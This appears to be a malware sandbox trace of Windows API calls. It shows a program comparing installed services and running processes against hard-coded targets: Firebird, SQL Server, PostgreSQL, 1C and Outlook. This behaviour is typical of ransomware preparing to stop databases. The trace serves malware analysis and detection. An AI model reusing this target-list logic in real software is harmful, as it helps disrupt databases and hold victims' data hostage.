lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="BFE") returned 1 [0223.020] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="BFE") returned 1 [0223.020] lstrcmpiW (lpString1="sqlwriter", lpString2="BFE") returned 1 [0223.020] lstrcmpiW (lpString1="mssqlserver", lpString2="BFE") returned 1 [0223.020] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="BFE") returned 1 [0223.020] lstrlenW (lpString="CryptSvc") returned 8 [0223.020] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="CryptSvc") returned 1 [0223.020] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="CryptSvc") returned 1 [0223.020] lstrcmpiW (lpString1="sqlwriter", lpString2="CryptSvc") returned 1 [0223.020] lstrcmpiW (lpString1="mssqlserver", lpString2="CryptSvc") returned 1 [0223.020] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="CryptSvc") returned 1 [0223.020] lstrlenW (lpString="CscService") returned 10 [0223.020] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="CscService") returned 1 [0223.020] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="CscService") returned 1 [0223.020] lstrcmpiW (lpString1="sqlwriter", lpString2="CscService") returned 1 [0223.020] lstrcmpiW (lpString1="mssqlserver", lpString2="CscService") returned 1 [0223.020] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="CscService") returned 1 [0223.020] lstrlenW (lpString="DcomLaunch") returned 10 [0223.020] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="DcomLaunch") returned 1 [0223.021] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="DcomLaunch") returned 1 [0223.021] lstrcmpiW (lpString1="sqlwriter", lpString2="DcomLaunch") returned 1 [0223.021] lstrcmpiW (lpString1="mssqlserver", lpString2="DcomLaunch") returned 1 [0223.021] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="DcomLaunch") returned 1 [0223.021] lstrlenW (lpString="Dhcp") returned 4 [0223.021] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="Dhcp") returned 1 [0223.021] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="Dhcp") returned 1 [0223.021] lstrcmpiW (lpString1="sqlwriter", lpString2="Dhcp") returned 1 [0223.021] lstrcmpiW (lpString1="mssqlserver", lpString2="Dhcp") returned 1 [0223.021] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="Dhcp") returned 1 [0223.021] lstrlenW (lpString="Dnscache") returned 8 [0223.021] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="Dnscache") returned 1 [0223.021] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="Dnscache") returned 1 [0223.021] lstrcmpiW (lpString1="sqlwriter", lpString2="Dnscache") returned 1 [0223.021] lstrcmpiW (lpString1="mssqlserver", lpString2="Dnscache") returned 1 [0223.021] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="Dnscache") returned 1 [0223.021] lstrlenW (lpString="DPS") returned 3 [0223.021] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="DPS") returned 1 [0223.021] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="DPS") returned 1 [0223.021] lstrcmpiW (lpString1="sqlwriter", lpString2="DPS") returned 1 [0223.021] lstrcmpiW (lpString1="mssqlserver", lpString2="DPS") returned 1 [0223.021] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="DPS") returned 1 [0223.021] lstrlenW (lpString="eventlog") returned 8 [0223.021] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="eventlog") returned 1 [0223.021] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="eventlog") returned 1 [0223.021] lstrcmpiW (lpString1="sqlwriter", lpString2="eventlog") returned 1 [0223.021] lstrcmpiW (lpString1="mssqlserver", lpString2="eventlog") returned 1 [0223.021] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="eventlog") returned 1 [0223.021] lstrlenW (lpString="EventSystem") returned 11 [0223.021] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="EventSystem") returned 1 [0223.021] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="EventSystem") returned 1 [0223.021] lstrcmpiW (lpString1="sqlwriter", lpString2="EventSystem") returned 1 [0223.021] lstrcmpiW (lpString1="mssqlserver", lpString2="EventSystem") returned 1 [0223.021] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="EventSystem") returned 1 [0223.021] lstrlenW (lpString="FontCache") returned 9 [0223.021] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="FontCache") returned -1 [0223.021] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="FontCache") returned -1 [0223.021] lstrcmpiW (lpString1="sqlwriter", lpString2="FontCache") returned 1 [0223.039] lstrcmpiW (lpString1="mssqlserver", lpString2="FontCache") returned 1 [0223.039] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="FontCache") returned 1 [0223.039] lstrlenW (lpString="gpsvc") returned 5 [0223.039] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="gpsvc") returned -1 [0223.039] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="gpsvc") returned -1 [0223.039] lstrcmpiW (lpString1="sqlwriter", lpString2="gpsvc") returned 1 [0223.039] lstrcmpiW (lpString1="mssqlserver", lpString2="gpsvc") returned 1 [0223.039] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="gpsvc") returned 1 [0223.039] lstrlenW (lpString="iphlpsvc") returned 8 [0223.039] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="iphlpsvc") returned -1 [0223.039] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="iphlpsvc") returned -1 [0223.039] lstrcmpiW (lpString1="sqlwriter", lpString2="iphlpsvc") returned 1 [0223.039] lstrcmpiW (lpString1="mssqlserver", lpString2="iphlpsvc") returned 1 [0223.039] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="iphlpsvc") returned 1 [0223.039] lstrlenW (lpString="LanmanServer") returned 12 [0223.039] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="LanmanServer") returned -1 [0223.039] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="LanmanServer") returned -1 [0223.039] lstrcmpiW (lpString1="sqlwriter", lpString2="LanmanServer") returned 1 [0223.039] lstrcmpiW (lpString1="mssqlserver", lpString2="LanmanServer") returned 1 [0223.039] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="LanmanServer") returned 1 [0223.039] lstrlenW (lpString="LanmanWorkstation") returned 17 [0223.039] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="LanmanWorkstation") returned -1 [0223.039] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="LanmanWorkstation") returned -1 [0223.039] lstrcmpiW (lpString1="sqlwriter", lpString2="LanmanWorkstation") returned 1 [0223.039] lstrcmpiW (lpString1="mssqlserver", lpString2="LanmanWorkstation") returned 1 [0223.039] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="LanmanWorkstation") returned 1 [0223.039] lstrlenW (lpString="lmhosts") returned 7 [0223.039] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="lmhosts") returned -1 [0223.039] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="lmhosts") returned -1 [0223.039] lstrcmpiW (lpString1="sqlwriter", lpString2="lmhosts") returned 1 [0223.039] lstrcmpiW (lpString1="mssqlserver", lpString2="lmhosts") returned 1 [0223.039] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="lmhosts") returned 1 [0223.039] lstrlenW (lpString="MMCSS") returned 5 [0223.039] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="MMCSS") returned -1 [0223.039] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="MMCSS") returned -1 [0223.039] lstrcmpiW (lpString1="sqlwriter", lpString2="MMCSS") returned 1 [0223.039] lstrcmpiW (lpString1="mssqlserver", lpString2="MMCSS") returned 1 [0223.039] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="MMCSS") returned 1 [0223.039] lstrlenW (lpString="MpsSvc") returned 6 [0223.039] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="MpsSvc") returned -1 [0223.039] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="MpsSvc") returned -1 [0223.039] lstrcmpiW (lpString1="sqlwriter", lpString2="MpsSvc") returned 1 [0223.039] lstrcmpiW (lpString1="mssqlserver", lpString2="MpsSvc") returned 1 [0223.039] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="MpsSvc") returned 1 [0223.039] lstrlenW (lpString="Netman") returned 6 [0223.039] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="Netman") returned -1 [0223.039] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="Netman") returned -1 [0223.039] lstrcmpiW (lpString1="sqlwriter", lpString2="Netman") returned 1 [0223.040] lstrcmpiW (lpString1="mssqlserver", lpString2="Netman") returned -1 [0223.040] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="Netman") returned 1 [0223.040] lstrlenW (lpString="netprofm") returned 8 [0223.040] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="netprofm") returned -1 [0223.040] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="netprofm") returned -1 [0223.040] lstrcmpiW (lpString1="sqlwriter", lpString2="netprofm") returned 1 [0223.040] lstrcmpiW (lpString1="mssqlserver", lpString2="netprofm") returned -1 [0223.040] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="netprofm") returned 1 [0223.040] lstrlenW (lpString="NlaSvc") returned 6 [0223.040] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="NlaSvc") returned -1 [0223.040] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="NlaSvc") returned -1 [0223.040] lstrcmpiW (lpString1="sqlwriter", lpString2="NlaSvc") returned 1 [0223.040] lstrcmpiW (lpString1="mssqlserver", lpString2="NlaSvc") returned -1 [0223.040] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="NlaSvc") returned 1 [0223.040] lstrlenW (lpString="nsi") returned 3 [0223.040] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="nsi") returned -1 [0223.040] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="nsi") returned -1 [0223.040] lstrcmpiW (lpString1="sqlwriter", lpString2="nsi") returned 1 [0223.040] lstrcmpiW (lpString1="mssqlserver", lpString2="nsi") returned -1 [0223.040] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="nsi") returned 1 [0223.040] lstrlenW (lpString="PcaSvc") returned 6 [0223.040] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="PcaSvc") returned -1 [0223.040] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="PcaSvc") returned -1 [0223.040] lstrcmpiW (lpString1="sqlwriter", lpString2="PcaSvc") returned 1 [0223.040] lstrcmpiW (lpString1="mssqlserver", lpString2="PcaSvc") returned -1 [0223.040] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="PcaSvc") returned 1 [0223.040] lstrlenW (lpString="PlugPlay") returned 8 [0223.040] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="PlugPlay") returned -1 [0223.040] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="PlugPlay") returned -1 [0223.040] lstrcmpiW (lpString1="sqlwriter", lpString2="PlugPlay") returned 1 [0223.040] lstrcmpiW (lpString1="mssqlserver", lpString2="PlugPlay") returned -1 [0223.040] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="PlugPlay") returned 1 [0223.044] lstrlenW (lpString="Power") returned 5 [0223.044] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="Power") returned -1 [0223.044] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="Power") returned -1 [0223.044] lstrcmpiW (lpString1="sqlwriter", lpString2="Power") returned 1 [0223.044] lstrcmpiW (lpString1="mssqlserver", lpString2="Power") returned -1 [0223.044] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="Power") returned 1 [0223.044] lstrlenW (lpString="ProfSvc") returned 7 [0223.044] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="ProfSvc") returned -1 [0223.044] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="ProfSvc") returned -1 [0223.044] lstrcmpiW (lpString1="sqlwriter", lpString2="ProfSvc") returned 1 [0223.044] lstrcmpiW (lpString1="mssqlserver", lpString2="ProfSvc") returned -1 [0223.044] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="ProfSvc") returned 1 [0223.044] lstrlenW (lpString="RpcEptMapper") returned 12 [0223.044] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="RpcEptMapper") returned -1 [0223.044] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="RpcEptMapper") returned -1 [0223.044] lstrcmpiW (lpString1="sqlwriter", lpString2="RpcEptMapper") returned 1 [0223.044] lstrcmpiW (lpString1="mssqlserver", lpString2="RpcEptMapper") returned -1 [0223.044] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="RpcEptMapper") returned 1 [0223.044] lstrlenW (lpString="RpcSs") returned 5 [0223.044] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="RpcSs") returned -1 [0223.044] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="RpcSs") returned -1 [0223.046] lstrcmpiW (lpString1="sqlwriter", lpString2="RpcSs") returned 1 [0223.046] lstrcmpiW (lpString1="mssqlserver", lpString2="RpcSs") returned -1 [0223.046] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="RpcSs") returned 1 [0223.046] lstrlenW (lpString="SamSs") returned 5 [0223.046] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="SamSs") returned -1 [0223.046] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="SamSs") returned -1 [0223.046] lstrcmpiW (lpString1="sqlwriter", lpString2="SamSs") returned 1 [0223.046] lstrcmpiW (lpString1="mssqlserver", lpString2="SamSs") returned -1 [0223.046] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="SamSs") returned 1 [0223.046] lstrlenW (lpString="Schedule") returned 8 [0223.046] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="Schedule") returned -1 [0223.046] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="Schedule") returned -1 [0223.046] lstrcmpiW (lpString1="sqlwriter", lpString2="Schedule") returned 1 [0223.046] lstrcmpiW (lpString1="mssqlserver", lpString2="Schedule") returned -1 [0223.046] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="Schedule") returned 1 [0223.046] lstrlenW (lpString="SENS") returned 4 [0223.046] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="SENS") returned -1 [0223.046] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="SENS") returned -1 [0223.046] lstrcmpiW (lpString1="sqlwriter", lpString2="SENS") returned 1 [0223.046] lstrcmpiW (lpString1="mssqlserver", lpString2="SENS") returned -1 [0223.046] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="SENS") returned 1 [0223.046] lstrlenW (lpString="ShellHWDetection") returned 16 [0223.046] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="ShellHWDetection") returned -1 [0223.046] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="ShellHWDetection") returned -1 [0223.046] lstrcmpiW (lpString1="sqlwriter", lpString2="ShellHWDetection") returned 1 [0223.047] lstrcmpiW (lpString1="mssqlserver", lpString2="ShellHWDetection") returned -1 [0223.047] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="ShellHWDetection") returned 1 [0223.047] lstrlenW (lpString="Spooler") returned 7 [0223.047] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="Spooler") returned -1 [0223.047] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="Spooler") returned -1 [0223.047] lstrcmpiW (lpString1="sqlwriter", lpString2="Spooler") returned 1 [0223.047] lstrcmpiW (lpString1="mssqlserver", lpString2="Spooler") returned -1 [0223.047] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="Spooler") returned 1 [0223.047] lstrlenW (lpString="sppsvc") returned 6 [0223.047] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="sppsvc") returned -1 [0223.047] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="sppsvc") returned -1 [0223.047] lstrcmpiW (lpString1="sqlwriter", lpString2="sppsvc") returned 1 [0223.047] lstrcmpiW (lpString1="mssqlserver", lpString2="sppsvc") returned -1 [0223.047] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="sppsvc") returned 1 [0223.047] lstrlenW (lpString="swprv") returned 5 [0223.047] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="swprv") returned -1 [0223.047] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="swprv") returned -1 [0223.047] lstrcmpiW (lpString1="sqlwriter", lpString2="swprv") returned -1 [0223.047] lstrcmpiW (lpString1="mssqlserver", lpString2="swprv") returned -1 [0223.047] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="swprv") returned -1 [0223.047] lstrlenW (lpString="SysMain") returned 7 [0223.047] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="SysMain") returned -1 [0223.047] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="SysMain") returned -1 [0223.047] lstrcmpiW (lpString1="sqlwriter", lpString2="SysMain") returned -1 [0223.047] lstrcmpiW (lpString1="mssqlserver", lpString2="SysMain") returned -1 [0223.047] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="SysMain") returned -1 [0223.047] lstrlenW (lpString="Themes") returned 6 [0223.047] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="Themes") returned -1 [0223.047] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="Themes") returned -1 [0223.047] lstrcmpiW (lpString1="sqlwriter", lpString2="Themes") returned -1 [0223.047] lstrcmpiW (lpString1="mssqlserver", lpString2="Themes") returned -1 [0223.047] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="Themes") returned -1 [0223.047] lstrlenW (lpString="TrkWks") returned 6 [0223.047] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="TrkWks") returned -1 [0223.047] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="TrkWks") returned -1 [0223.047] lstrcmpiW (lpString1="sqlwriter", lpString2="TrkWks") returned -1 [0223.047] lstrcmpiW (lpString1="mssqlserver", lpString2="TrkWks") returned -1 [0223.047] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="TrkWks") returned -1 [0223.047] lstrlenW (lpString="UxSms") returned 5 [0223.047] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="UxSms") returned -1 [0223.047] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="UxSms") returned -1 [0223.047] lstrcmpiW (lpString1="sqlwriter", lpString2="UxSms") returned -1 [0223.047] lstrcmpiW (lpString1="mssqlserver", lpString2="UxSms") returned -1 [0223.047] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="UxSms") returned -1 [0223.047] lstrlenW (lpString="VSS") returned 3 [0223.047] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="VSS") returned -1 [0223.047] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="VSS") returned -1 [0223.047] lstrcmpiW (lpString1="sqlwriter", lpString2="VSS") returned -1 [0223.048] lstrcmpiW (lpString1="mssqlserver", lpString2="VSS") returned -1 [0223.048] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="VSS") returned -1 [0223.048] lstrlenW (lpString="WdiServiceHost") returned 14 [0223.048] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="WdiServiceHost") returned -1 [0223.048] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="WdiServiceHost") returned -1 [0223.048] lstrcmpiW (lpString1="sqlwriter", lpString2="WdiServiceHost") returned -1 [0223.048] lstrcmpiW (lpString1="mssqlserver", lpString2="WdiServiceHost") returned -1 [0223.048] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="WdiServiceHost") returned -1 [0223.048] lstrlenW (lpString="WdiSystemHost") returned 13 [0223.048] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="WdiSystemHost") returned -1 [0223.048] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="WdiSystemHost") returned -1 [0223.048] lstrcmpiW (lpString1="sqlwriter", lpString2="WdiSystemHost") returned -1 [0223.048] lstrcmpiW (lpString1="mssqlserver", lpString2="WdiSystemHost") returned -1 [0223.048] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="WdiSystemHost") returned -1 [0223.048] lstrlenW (lpString="WinDefend") returned 9 [0223.048] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="WinDefend") returned -1 [0223.048] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="WinDefend") returned -1 [0223.048] lstrcmpiW (lpString1="sqlwriter", lpString2="WinDefend") returned -1 [0223.048] lstrcmpiW (lpString1="mssqlserver", lpString2="WinDefend") returned -1 [0223.048] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="WinDefend") returned -1 [0223.048] lstrlenW (lpString="WinHttpAutoProxySvc") returned 19 [0223.048] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="WinHttpAutoProxySvc") returned -1 [0223.048] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="WinHttpAutoProxySvc") returned -1 [0223.048] lstrcmpiW (lpString1="sqlwriter", lpString2="WinHttpAutoProxySvc") returned -1 [0223.048] lstrcmpiW (lpString1="mssqlserver", lpString2="WinHttpAutoProxySvc") returned -1 [0223.048] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="WinHttpAutoProxySvc") returned -1 [0223.048] lstrlenW (lpString="Winmgmt") returned 7 [0223.048] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="Winmgmt") returned -1 [0223.048] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="Winmgmt") returned -1 [0223.048] lstrcmpiW (lpString1="sqlwriter", lpString2="Winmgmt") returned -1 [0223.048] lstrcmpiW (lpString1="mssqlserver", lpString2="Winmgmt") returned -1 [0223.048] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="Winmgmt") returned -1 [0223.048] lstrlenW (lpString="wscsvc") returned 6 [0223.048] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="wscsvc") returned -1 [0223.048] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="wscsvc") returned -1 [0223.048] lstrcmpiW (lpString1="sqlwriter", lpString2="wscsvc") returned -1 [0223.048] lstrcmpiW (lpString1="mssqlserver", lpString2="wscsvc") returned -1 [0223.048] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="wscsvc") returned -1 [0223.048] lstrlenW (lpString="wuauserv") returned 8 [0223.048] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="wuauserv") returned -1 [0223.048] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="wuauserv") returned -1 [0223.048] lstrcmpiW (lpString1="sqlwriter", lpString2="wuauserv") returned -1 [0223.048] lstrcmpiW (lpString1="mssqlserver", lpString2="wuauserv") returned -1 [0223.048] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="wuauserv") returned -1 [0223.048] CreateToolhelp32Snapshot (dwFlags=0x2, th32ProcessID=0x0) returned 0x21c [0223.069] Process32FirstW (in: hSnapshot=0x21c, lppe=0x1edfd34 | out: lppe=0x1edfd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x0, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x0, pcPriClassBase=0, dwFlags=0x0, szExeFile="[System Process]")) returned 1 [0223.069] Process32NextW (in: hSnapshot=0x21c, lppe=0x1edfd34 | out: lppe=0x1edfd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x4, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x52, th32ParentProcessID=0x0, pcPriClassBase=8, dwFlags=0x0, szExeFile="System")) returned 1 [0223.070] lstrlenW (lpString="System") returned 6 [0223.070] lstrcmpiW (lpString1="1c8.exe", lpString2="System") returned -1 [0223.070] lstrcmpiW (lpString1="1cv77.exe", lpString2="System") returned -1 [0223.070] lstrcmpiW (lpString1="outlook.exe", lpString2="System") returned -1 [0223.070] lstrcmpiW (lpString1="postgres.exe", lpString2="System") returned -1 [0223.070] Process32NextW (in: hSnapshot=0x21c, lppe=0x1edfd34 | out: lppe=0x1edfd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x104, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x2, th32ParentProcessID=0x4, pcPriClassBase=11, dwFlags=0x0, szExeFile="smss.exe")) returned 1 [0223.070] lstrlenW (lpString="smss.exe") returned 8 [0223.071] Process32NextW (in: hSnapshot=0x21c, lppe=0x1edfd34 | out: lppe=0x1edfd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x148, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x8, th32ParentProcessID=0x140, pcPriClassBase=13, dwFlags=0x0, szExeFile="csrss.exe")) returned 1 [0223.071] lstrlenW (lpString="csrss.exe") returned 9 [0223.071] Process32NextW (in: hSnapshot=0x21c, lppe=0x1edfd34 | out: lppe=0x1edfd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x178, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x3, th32ParentProcessID=0x140, pcPriClassBase=13, dwFlags=0x0, szExeFile="wininit.exe")) returned 1 [0223.072] lstrlenW (lpString="wininit.exe") returned 11 [0223.072] Process32NextW (in: hSnapshot=0x21c, lppe=0x1edfd34 | out: lppe=0x1edfd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x184, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x7, th32ParentProcessID=0x170, pcPriClassBase=13, dwFlags=0x0, szExeFile="csrss.exe")) returned 1 [0223.072] lstrlenW (lpString="csrss.exe") returned 9 [0223.072] Process32NextW (in: hSnapshot=0x21c, lppe=0x1edfd34 | out: lppe=0x1edfd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x1ac, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x3, th32ParentProcessID=0x170, pcPriClassBase=13, dwFlags=0x0, szExeFile="winlogon.exe")) returned 1 [0223.073] lstrlenW (lpString="winlogon.exe") returned 12 [0223.073] Process32NextW (in: hSnapshot=0x21c, lppe=0x1edfd34 | out: lppe=0x1edfd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x1d4, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x8, th32ParentProcessID=0x178, pcPriClassBase=9, dwFlags=0x0, szExeFile="services.exe")) returned 1 [0223.074] lstrlenW (lpString="services.exe") returned 12 [0223.074] Process32NextW (in: hSnapshot=0x21c, lppe=0x1edfd34 | out: lppe=0x1edfd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x1dc, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x7, th32ParentProcessID=0x178, pcPriClassBase=9, dwFlags=0x0, szExeFile="lsass.exe")) returned 1 [0223.074] lstrlenW (lpString="lsass.exe") returned 9 [0223.074] Process32NextW (in: hSnapshot=0x21c, lppe=0x1edfd34 | out: lppe=0x1edfd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x1e4, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0xa, th32ParentProcessID=0x178, pcPriClassBase=8, dwFlags=0x0, szExeFile="lsm.exe")) returned 1 [0223.075] lstrlenW (lpString="lsm.exe") returned 7 [0223.075] Process32NextW (in: hSnapshot=0x21c, lppe=0x1edfd34 | out: lppe=0x1edfd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x254, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0xb, th32ParentProcessID=0x1d4, pcPriClassBase=8, dwFlags=0x0, szExeFile="svchost.exe")) returned 1 [0223.075] lstrlenW (lpString="svchost.exe") returned 11 [0223.076] Process32NextW (in: hSnapshot=0x21c, lppe=0x1edfd34 | out: lppe=0x1edfd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x294, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x7, th32ParentProcessID=0x1d4, pcPriClassBase=8, dwFlags=0x0, szExeFile="svchost.exe")) returned 1 [0223.076] lstrlenW (lpString="svchost.exe") returned 11 [0223.076] Process32NextW (in: hSnapshot=0x21c, lppe=0x1edfd34 | out: lppe=0x1edfd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x2c8, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x12, th32ParentProcessID=0x1d4, pcPriClassBase=8, dwFlags=0x0, szExeFile="svchost.exe")) returned 1 